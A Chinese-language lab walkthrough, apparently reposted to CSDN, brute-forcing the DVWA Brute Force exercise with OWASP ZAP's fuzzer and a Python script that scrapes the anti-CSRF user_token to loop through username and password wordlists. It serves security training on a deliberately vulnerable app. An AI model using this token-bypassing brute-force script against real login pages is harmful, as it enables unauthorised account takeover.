DVWA平台v1.9-Brute Force

  • Low:

随便输一下用户名,密码,test

点击Login

显示用户名或密码错误

在owasp-zap查看数据包

点击,就会转到这

右键,点击Fuzz

点击Remove删除默认的

选定参数变量值,点击Add

再点击Add

然后输入几个可能的用户名,点击添加

然后点击ok

对password参数也是一样的操作,密码的字典

设置完了之后,点击Start Fuzzer

开始暴力破解

按Size Resp.Body可以更快地找到正确的结果

是正确的账号密码

  • Medium:

Medium级别的方法跟Low级别的方法一样,只不过响应的时间有点长

看一下源代码

可以看到,登陆失败的话,会睡眠2秒

  • High:

High等级用上面的方法爆破不出来,因为多了一个user_token参数

user_token是上次请求返回的

所以,右键查看源代码能得到下次请求的user_token

这次请求的源代码

下次请求的user_token

结果是一样的

写个python脚本爆破

__author__ = "MuT6 Sch01aR#"

import requests
import re

username = ['root', 'admin', 'test']
password = ['123456', 'admin', 'admin888', 'root', 'abc123', 'password', 'qwerty']

cookie = {'security':'high','PHPSESSID':'ohjjiijt8p02u3adkoucjgqte1'}

r = requests.get(url='http://192.168.2.140/dvwa/vulnerabilities/brute/?username=&password=&Login=Login&user_token=', cookies=cookie)
r_esult = re.findall("<input type='hidden' name='user_token' value='(.*?)' />", r.text)
user_token = r_esult[0]

for u in username:
	for p in password:
		res = requests.get(url='http://192.168.2.140/dvwa/vulnerabilities/brute/?username='+u+'&password='+p+'&Login=Login&user_token='+user_token, cookies=cookie)
		re_sult = re.findall("<input type='hidden' name='user_token' value='(.*?)' />", res.text)
		user_token = re_sult[0]
		if 'Username and/or password incorrect.' in res.text:
			print("登录失败,账号:%s,密码:%s" %(u,p))
		else:
			print("登陆成功,账号:%s,密码:%s" %(u,p))

要带上cookie

运行结果

 

转载于:https://www.cnblogs.com/sch01ar/p/8847210.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值